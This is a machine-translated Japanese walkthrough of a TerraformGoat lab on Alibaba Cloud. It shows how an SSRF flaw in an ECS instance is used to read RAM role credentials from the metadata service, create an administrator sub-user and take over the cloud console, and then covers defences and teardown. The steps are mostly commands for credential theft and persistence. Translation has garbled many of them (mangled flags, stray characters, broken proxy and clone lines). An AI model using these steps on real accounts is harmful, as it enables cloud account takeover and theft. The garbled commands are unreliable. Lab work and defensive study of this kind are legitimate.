0x00はじめに
この記事では、Alibaba Cloudを使用して、クラウドサービスで攻撃的および防御的な方法を示すための例として使用されます。まず、Terraformを使用してECS SSRF脆弱性環境を構築し、次にステップバイステップで、インスタンスに存在するSSRF脆弱性を介してクラウドサービスアカウントのすべてのAlibabaクラウドサービス許可を取得します。
0x01環境構築
この記事では、Terraformgoatを使用して撮影範囲を構築しています。 Terraformgoat範囲アドレス:https://github.com/huocorp/terraformgoat(opens new Window)
射撃場を展開するときは、Alibaba Cloud AccessKeyを使用する必要があります。クラウドの生産環境に影響を与えることを避けるために、ここで非生産環境でAccessKeyを使用し、生産環境と同じアカウントを使用しないことを強くお勧めします。
Terraformgoatツールの反復更新により、次の環境構築方法が失敗し、展開方法はより便利でフレンドリーになりました。特定の展開方法については、上記のTerraformgoat射撃範囲の住所を参照してください。
次に、射撃場の構築を開始し、最初に射撃場プロジェクトをローカルエリアにクローンし、射撃範囲をダウンロードするために必要な依存関係を構築し始めます。
git clone 3https://github.com/huocorp/terraformgoat.git - デプス1
CD Terraformgoat
Dockerビルド。 -t terraformgoat:v0.0.3
docker run -itd -Name terraformgoat terraformgoat:v0.0.3
docker exec -it terraformgoat /bin /bash githubアクセスが遅い場合、ターミナルにプロキシを掛けることができます
proxy_url='127.0.0.133601080'エクスポートhttps_proxy=http://$ proxy_url http_proxy=http://$ proxy_url all_proxy=socks5: //次に使用します。ここでは、Alibaba Cloud Serviceを例に取り、2を入力してAlibaba Cloudを選択してEnterを押します。
Alibaba Cloud ECS SSRFシューティングレンジパスを入力して、アクセスキーを構成します
cd/terraformgoat/aliyun/ecs/ecs_ssrf/
Aliyun Configuration
SSRF範囲を展開します
Terraform init
INITの初期化が遅い場合は、Terraformが適用されます。プロキシを掛けてください。
適用期間中、入力値がプロンプトされ、YESを入力して入力します。
出力では、返された範囲アドレスを見ることができます。このアドレスにアクセスすると、SSRFテスト範囲のページが表示されます。これは、環境が構築されたことを意味します。
0x02環境利用
現在の環境にはSSRFの脆弱性がありますが、通常のSSRFが位置する環境とは異なり、ここのSSRFの脆弱性がクラウドサーバーに表示されます。つまり、このSSRFの脆弱性を通じてサーバーのメタデータ情報を取得できます。
メタデータにアクセスします
http://100.100.100.200/最新/メタデータ
返された結果では、現在の環境にはRAM/ディレクトリがあることがわかります。つまり、現在のクラウドサーバーにはRAMロールが構成されているため、一時的な資格情報を取得できます。
メタデータを介して一時的な資格情報を取得します
ここのURLのHuocorp-Terraform-Goat-Roleは、http://100.100.100.200/最新/Meta-Data/RAM/Security-Credentials/にアクセスすることで取得できます。
http://100.100.100.200/最新/Meta-Data/RAM/Security-CreDentials/Huocorp-Terraform-Goat-Role
Aliyunコマンドラインツールに一時的な資格情報を構成します。
Aliyun configure - モードStstoken
サブユーザーと助成金管理者の許可を作成します
Aliyun Ram CreateUser -Username Teamssix
Aliyun Ram CreateLoginProfile -Username TeamSix -PassWord TeamSix@666
aliyun ram attachpolicytouser ---ポリシュイタイプシステム - ポリックナムadministratorAccess -username teamsix
https://Signin.aliyun.com(新しいウィンドウを開く)ページにアクセスして、RAMユーザーを介してログインします。ここのユーザー形式は、USERNAME@Company-Aliasで、ユーザー名は作成したばかりのユーザー名です。 Company-Aliasは、次のコマンドから取得できます。
Aliyun Ram GetAccountalias
ここのアカウンタリアは、私たちが必要とする会社です。次にコンソールにログインできます。
ユーザーが今作成されたときにパスワードを入力してください
ログインした後、ターゲットコンソールが表示されます。
現在、ユーザーを作成するときにAdministratorAccessの許可が付与されたため、RAM Access Control Officeから、現在のアカウントがすべてのAlibabaクラウドリソースを管理する許可があることを確認できます。
Cloud Service ECSインスタンスでは、作成したばかりのSSRFシューティングレンジサーバーも表示できます。
この時点で、クラウドサーバーのSSRF脆弱性を活用することにより、Alibaba Cloud Consoleを引き継ぐために実装されています。
さらに、この環境にフラグファイルも配置されます。興味がある場合は、このフラグを見つけることができます。書き込みアドレス:https://github.com/huocorp/terraformgoat/tree/main/aliyun/ecs/ecs_ssrf(オペンズ新しいウィンドウ)
0x03防衛測定
SSRFに加えて、この環境には他に2つの主要な問題があります。
RAMの役割はあまりにも大きすぎるため、役割の許可を通じてサブユーザーの作成や、補強なしでサブユーザーに高い許可を付与するなど、操作メタデータにつながります。その結果、ターゲットにSSRFがあるか、ターゲットの権限が削除されると、メタデータは取得されるリスクがあります。最初のRAM役割の過度の権限の問題については、主なことは、ユーザーが権限を最小化するという原則を厳密に順守することです。 RAMの役割に権限を付与する場合、あまりにも高い権限を与えたり、必要な権限を付与したりすることのみを避けます。
2番目のメタデータのアクセスが硬化していないという問題に応じて、インスタンスのメタデータアクセスモードを硬化モードに設定できます。これは基本的なソリューションです。メタデータアクセスモードを硬化モードに設定するには、次の2つの方法があります。
インスタンスを作成するときに、システム構成の高度なオプションで「インスタンスメタデータアクセスモード」を「右のモード」に設定できます。
すでに作成されたインスタンスでは、Alibaba Cloud Openapiでトークンを使用してメタデータの強制アクセスを有効にすることができます。 Openapiアドレス:https://NEXT.API.ALIYUN.COM/API/ECS/2014-05-26/MODIFYINSTANCEMETADATAOPTIONS(Opens New Window)
httptokensを必要なものに設定するということは、硬化モードが強制的に使用されることを意味します。現時点では、メタデータにアクセスすると403が促されます。
メタデータを強化モードに設定すると、メタデータがSSRFを使用してメタデータが取得されるのを防ぐことができますが、インスタンスの許可が削除された場合、レッドチームはインスタンスでトークンを取得してからメタデータを取得するためにトークンを使用してコマンドを実行できます。
Linuxインスタンスでトークンを取得するコマンドは次のとおりです。
トークン=`curl -x put 'http://100.100.100.200/rest/api/token' -h 'x-aliyun-metadata-token-ttl-seconds: 21600'``` `` `` `Getトークン
Curl -H 'X-Aliyun-Ecs-Metadata-Token: $ Token' http://100.100.100.200/最新/Meta-Data/
Windowsインスタンスで取得する方法については、Alibaba Cloudの公式文書を参照してください:https://help.aliyun.com/document_detail/108460.htm(Opens new Window)
メタデータアクセスモードを補強モードに設定するこの方法は、SSRFの脆弱性を防御するための補強モードになります。
0x04環境削除
作成されたサブアカウントを削除します
Aliyun Ram DetachpolicyFromuser - PolicyType System - PolicYname AdministratorAccess - Username TeamSsix
Aliyun Ram Deleteuser -Username TeamSixは、SSRF射撃範囲環境を削除します。射撃範囲を使用した後、ここで作成されたクラウドサービスは時間ごとに請求され、この射撃範囲インスタンスの価格は1時間あたり0.17人民元であるため、時間内に削除することを忘れないでください。
射撃範囲を破壊する前に、AccessKeyを初期アクセスキーとして構成し、コマンドを構成することを忘れないでください:Aliyun configure - mode ak
Terraform Destroy Terraformgoatをクリアしたい場合は、次のコマンドを使用できます。将来クラウド攻撃と防御を学びたい場合は、Terraformgoat環境を維持できます。
Dockerはterraformgoatを停止します
Docker RM Terraformgoat
Docker RMI terraformgoat:V0.0.3
0x05要約
ここでは、クラウドのSSRF脆弱性を通じて一時的なキーが得られました。管理者アクセスを備えたサブスクライバーが一時キーを介して作成され、最後にターゲットコンソールがこのサブスクライバーを介して引き継がれました。
ただし、この方法を実際の戦闘で使用するためのいくつかの前提条件があり、主な前提条件は次の2つです。
ECSインスタンスにはRAMの役割を付与する必要があります。そうしないと、一時的な資格情報にアクセスするメタデータは404ramを返します。この役割には、ユーザーの作成、許可の付与など、RAMアクセス制御に関連する運用許可が必要です。そうしないと、一時キーにはサブユーザーを作成する許可がありません。実際の戦闘では、ECSインスタンスにRAMの役割が付与されている場合、ほとんどの場合、役割にはユーザー作成の許可がありません。現時点では、サブアカウントを作成してコンソールにログインすることは不可能です。 Alibaba Cloud Command Lineツールを使用して、ターゲットクラウドサービスを操作できます。
一般に、クラウド攻撃と防御は、従来のイントラネット攻撃と防御とは依然として非常に異なります。
クラウド攻撃と防御の一般的な問題は、構成エラーです。たとえば、ここでの問題は、RAMの役割構成権限が高すぎることです。クラウド攻撃と防御の許可を維持する主な方法は、従来の攻撃と防御に関するさまざまな許可を持つのではなく、高恵まれたRAMユーザーを作成することです。クラウド攻撃と防御のイントラネットの水平方向は、伝統的な攻撃や防御などのさまざまなイントラネットの水平方式を持つのではなく、このクラウドサービスから別のクラウドサービスまで、クラウドサービスメーカーのコマンドラインまたはコンソールで主に水平方向にあります。最後に、この記事に記載されているコマンドの多くは、Fireline Cloud Security Knowledge Baseのコンテンツを参照しています。ナレッジベースアドレスは、https://Cloudsec.huoxian.cn(新しいウィンドウを開きます)です。知識ベースのホームページに、ファイヤーラインクラウドサービス攻撃と防御マトリックスを見ることができます。この記事は、この攻撃と防御マトリックスに基づいたクラウド攻撃と防御です。
学習するためのより多くのクラウドセキュリティリソースを見つけたい場合は、現在100を超える国内および外国のクラウドセキュリティブログ、ツール、公式アカウント、その他のリソースが含まれているAwesome Cloud Security Projectにアクセスできます。プロジェクトアドレスは、https://github.com/teamssix/awesome-cloud-security(オペンズ新しいウィンドウ)です。
参照記事:https://Cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs
元の接続:https://wiki.teamssix.com/cloudservice/ec2/aliyun-console-takeover.html